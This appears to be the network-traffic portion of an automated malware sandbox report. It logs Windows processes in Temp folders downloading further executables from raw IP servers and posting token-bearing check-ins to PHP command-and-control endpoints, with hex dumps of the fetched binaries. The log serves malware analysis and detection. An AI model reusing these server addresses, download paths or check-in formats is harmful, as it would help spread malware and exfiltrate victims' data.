Dec 16, 2024 15:02:34.995218992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:34.995234013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:34.995930910 CET	1236	IN	Data Raw: bc f4 4b 71 94 51 4d 36 1d 40 4b ae 0d 76 a8 60 b9 8d b2 50 7a 2b 9f 10 49 06 81 2f e3 8b 11 46 75 78 f7 d4 de 69 d2 90 c5 c1 88 66 ee 2f 3d 31 2a 07 6d 60 66 fa 3f 2c 1c 29 4a 2a 2c ff 03 43 2e f2 5c 70 94 fd 58 88 78 16 6c 26 0a 10 4a c1 56 d9 Data Ascii: KqQM6@Kv`Pz+I/Fuxif/=1m`f?,)J,C.\pXxl&JVZUD0W[wC9LA2 \?1%R4I^AH`mVd-@w; yXK4[tj+at&+$~B/j<(b;2>Dr?P)w=/SSH1yjNSC_V
Dec 16, 2024 15:02:34.995949030 CET	1224	IN	Data Raw: a8 f5 62 86 d0 f5 66 52 b9 e0 eb 66 13 18 61 df 5a 20 5d 6a 8c 2b 7f 4f 4a 7d 87 76 30 38 57 71 5a 20 97 50 bc 58 9b 73 c1 eb d8 ee 30 f5 a2 70 5a 54 63 9e 8c 3c b3 64 7e 91 bd aa 58 18 bf 47 8a 19 f7 ca 13 74 50 f8 30 78 6f 71 9a 09 d7 be a2 b0 Data Ascii: bfRfaZ ]j+OJ}v08WqZ PXs0pZTc<d~XGtP0xoqGr+qn"OL}L[ QXs&wj'0t/`B7Ame04: LI(\mLYaj#qqGC4ixqtyx8GEI 5+k0@7sX1EQ+K1X
Dec 16, 2024 15:02:34.995965958 CET	1236	IN	Data Raw: 71 8d 73 73 4c 32 f8 84 bc 1c 11 b3 71 12 5c 77 86 30 63 43 6d 5d 13 71 25 dc 52 e5 1f eb 64 9e 60 05 87 17 15 4e 92 8f 7f d0 b8 14 77 1d 91 a1 1e 71 85 35 ab 4f 38 44 3a 0a 98 07 6b f8 b6 80 10 5b d4 92 2a e8 c0 92 7b 4b b3 cb a2 05 af 5f 2c 4f Data Ascii: qssL2q\w0cCm]q%Rd`Nwq5O8D:k[*{K_,Oy!q\|W@h/<Q3YJH<l7593Okk47qr"PIze=2-Msnb\|\F]M&\|-.POew.N}Tm[AYPa{I
Dec 16, 2024 15:02:35.115225077 CET	1236	IN	Data Raw: 8b 90 16 53 0f f8 3f 7b 16 de e2 1b 19 3d 2c 1b 43 0c 42 4a 3e 90 48 35 f7 ec 84 51 0e 05 51 b1 0e 0c a3 3e 0b 22 2f 97 11 fd 2d 62 0e fc a8 7c 5b 09 f5 03 8e d1 3e a8 6f bb 60 df 59 b6 bb 75 71 5a 6b 2e 5a ea 54 85 78 49 af 7c 08 57 ad 73 7e 4b Data Ascii: S?{=,CBJ>H5QQ>"/-b\|[>o`YuqZk.ZTxI\|Ws~KN_z@HiQNFQVxx`6rcdIes#kt[9*hdwLI_xa-rt_E_4A` 1FH09ks\|&<w?SIe 6A_ j,yvor\|\|]7JQ1n:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49975	185.215.113.16	80	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:40.188607931 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:02:41.520212889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:40 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:02:41.520257950 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520268917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520423889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520437002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520456076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520468950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520663977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:41.520675898 CET	1236	IN	Data Raw: d9 6a 4e 97 09 86 53 ad 99 8d e9 43 ab f2 06 ee 5f b5 56 21 3e ec 60 39 51 b9 a3 42 ce 37 86 f3 0e c1 be 36 4f 2e 40 f6 9f 46 86 03 91 d5 4e 38 57 ed 52 82 48 93 79 f7 cc b0 20 8d 4c db 13 ef a8 29 67 2f c8 7a 40 bf 0a eb e7 47 c6 14 53 be 27 6b Data Ascii: jNSC_V!>`9QB76O.@FN8WRHy L)g/z@GS'kPmHK7\|m^&7! bX;PQn 9;nJV~yoQ[;>/wO,P~0&*h%kG.aHu 6\|e,tF4aDq-AL0XFxKe.]~gZ
Dec 16, 2024 15:02:41.520687103 CET	1236	IN	Data Raw: 30 fc 40 d8 37 73 58 31 07 2a 45 51 1f 2b 4b 31 9c 0c 58 4d 0f 0f 51 5d 2a 08 d2 e8 3d 6b 94 37 cf 7d 47 d0 d0 80 09 81 15 a3 54 e8 47 a8 a0 aa 3f e8 7e e8 95 df 81 46 13 c9 55 33 bb f8 44 b5 4e 0e 43 3e 81 ea ae 3f 51 0b 63 10 1d bc 4b 8c 09 f9 Data Ascii: 0@7sX1EQ+K1XMQ]=k7}GTG?~FU3DNC>?QcKSORWdthYD"k>qVND[5qH@J4IXe9\{IKyx4gt{{L>M}KUXYF.Z<K6MY'9JO&vTT-om:I?pRQpW=4-S#vJ\|
Dec 16, 2024 15:02:41.640404940 CET	1236	IN	Data Raw: 7b b3 49 96 20 c0 05 8c a1 55 e0 3f 2c 24 5f db e7 45 fd 39 db 39 47 31 bc 4b 14 3c 18 42 73 09 72 16 5b 37 e5 91 c4 b6 73 93 56 7d 19 b1 98 31 30 5d 39 e8 ef 2a 2a da 72 53 66 f0 9a 31 fa 85 6e 78 b9 f3 cf 33 49 bd b0 1e 34 fd df 25 f7 95 bd 42 Data Ascii: {I U?,$_E99G1K<Bsr[7sV}10]9**rSf1nx3I4%B\l/}p/O'es\he%\_^=%2h(8ZTx\|ywP9TaQ>Sz}AQ~)\|nHeS[WsP\Ie61@&7K ?8Nw@u
Dec 16, 2024 15:02:53.522195101 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:02:53.959235907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:53 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49980	185.215.113.206	80	5672	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:41.383213997 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="file"------EBAEBFIIECBGCBGDHCAF--
Dec 16, 2024 15:02:43.042327881 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49983	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:42.115958929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016130001&unit=246122658369
Dec 16, 2024 15:02:43.443883896 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49990	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:43.640362978 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:02:44.964262009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:44 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 16, 2024 15:02:44.964281082 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 16, 2024 15:02:44.964395046 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 16, 2024 15:02:44.964416027 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 16, 2024 15:02:44.964438915 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 16, 2024 15:02:44.964553118 CET	1236	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 16, 2024 15:02:44.964570045 CET	1236	IN	Data Raw: 00 50 ff 15 34 a1 41 00 85 c0 7e 13 8d 85 58 ff ff ff 50 ff 15 d4 a1 41 00 59 a3 84 e0 41 00 8d 47 01 50 ff b6 bc e0 41 00 57 53 6a 00 ff 35 84 e0 41 00 ff 15 38 a1 41 00 8b 86 bc e0 41 00 5f 5e 5b c9 c3 83 3d b0 e0 41 00 00 74 20 56 be bc e0 41 Data Ascii: P4A~XPAYAGPAWSj5A8AA_^[=At VAtPl&Y~u^U$hAhAhAPlAtMQE38Au0A=At*h@AhAhAPlAt5A%A%Ah`A
Dec 16, 2024 15:02:44.964586020 CET	1120	IN	Data Raw: e8 a2 e9 ff ff 8b 46 04 8b 0e ff 74 24 0c 8d 04 41 50 e8 8a e6 ff ff 01 7e 04 59 59 5f 8b c6 5e c2 04 00 8b 41 04 85 c0 74 1e 8b 09 66 8b 54 24 04 8d 44 41 fe eb 06 3b c1 74 0d 48 48 66 39 10 75 f5 2b c1 d1 f8 eb 03 83 c8 ff c2 04 00 56 8b f1 33 Data Ascii: Ft$AP~YY_^AtfT$DA;tHHf9u+V3jFF^V&ffjL$@F^V&ffW\|$w@AuGF_^D$V;F\|P\^SV3W\|$^
Dec 16, 2024 15:02:44.964703083 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 16, 2024 15:02:44.964842081 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh
Dec 16, 2024 15:02:45.089982033 CET	1236	IN	Data Raw: 04 46 89 75 fc 68 e9 fd 00 00 8d 45 e0 50 8d 45 bc 50 e8 e4 f4 ff ff 83 c4 0c 50 8d 4d b0 e8 46 db ff ff ff 75 bc e8 6c 59 01 00 8d 45 b0 50 e8 c5 f7 ff ff 59 59 68 c4 a6 41 00 ff 75 a4 ff 15 24 a1 41 00 85 c0 75 14 6a 3d ff 75 b0 e8 6e ed 00 00 Data Ascii: FuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49994	34.107.221.82	80	4304	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:45.273793936 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 16, 2024 15:02:46.542344093 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84139 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 16, 2024 15:02:46.756095886 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 15 Dec 2024 14:40:27 GMT Age: 84139 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50003	34.107.221.82	80	4304	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:47.377100945 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:02:48.471785069 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 16 Dec 2024 10:09:59 GMT Age: 13969 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50011	34.107.221.82	80	4304	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
